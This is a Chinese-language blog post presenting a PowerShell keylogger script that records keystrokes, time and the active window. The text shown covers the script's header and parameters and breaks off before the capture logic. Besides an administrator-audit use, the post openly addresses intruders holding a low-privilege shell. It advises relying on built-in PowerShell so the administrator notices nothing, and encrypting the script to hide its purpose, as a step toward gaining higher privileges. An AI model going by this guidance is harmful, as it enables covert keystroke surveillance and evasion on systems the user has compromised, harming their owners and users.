作為系統管理員,有些時候是需要記錄系統中的其他用戶的一些操作行為的,例如:當系統管理員懷疑系統存在漏洞,且已經有被植入后門或者創建隱藏賬戶時,就需要對曾經登陸的用戶進行監控,保存其打開或者操作過的文件。或者在另外一個場景,當黑客拿下一個普通權限的shell之后,想看看最近有哪些用戶登陸過,操作過什么,以便根據用戶習慣采取進一步行動獲取更高權限,這個時候記錄用戶行為就顯得很重要了。
可能有讀者覺得此時安裝個監控軟件不就行了么,拜托,你入侵別人的系統,你裝個監控軟件,你把管理員試做無物么?這個時候PowerShell這個vista及其之后Windows操作系統都自帶的強大的命令行就有了用處,系統自帶,不會被管理員發現異常,腳本不用編譯,如果腳本內容再加個密,他們更猜不出是干什么用的,嘿嘿。如果要記錄幾個特性用于記錄啥時候干了什么,無非要記錄的有幾樣內容:操作,哪個文件或程序,時間。有這幾個特點就基本上可以掌握用戶的操作習慣了。
代碼不算太難就不逐句解釋了,有啥問題的讀者可以給我留言詢問,基本上關鍵語句都有注釋的。代碼如下:
代碼如下:
=====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
<#
Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
Logs keys pressed, time and the active window.
.Parameter LogPath
Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)/key.log'.
.Parameter CollectionInterval
Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
Get-TimedOperationRecord -LogPath C:/key.log
.Example
Get-TimedOperationRecord -CollectionInterval 20
#>
[CmdletBinding()] Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)/key.log",
[Parameter(Position = 1)]
[UInt32]
$CollectionInterval
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
Write-Verbose "Logging keystrokes to $LogPath"
$Initilizer = {
新聞熱點
疑難解答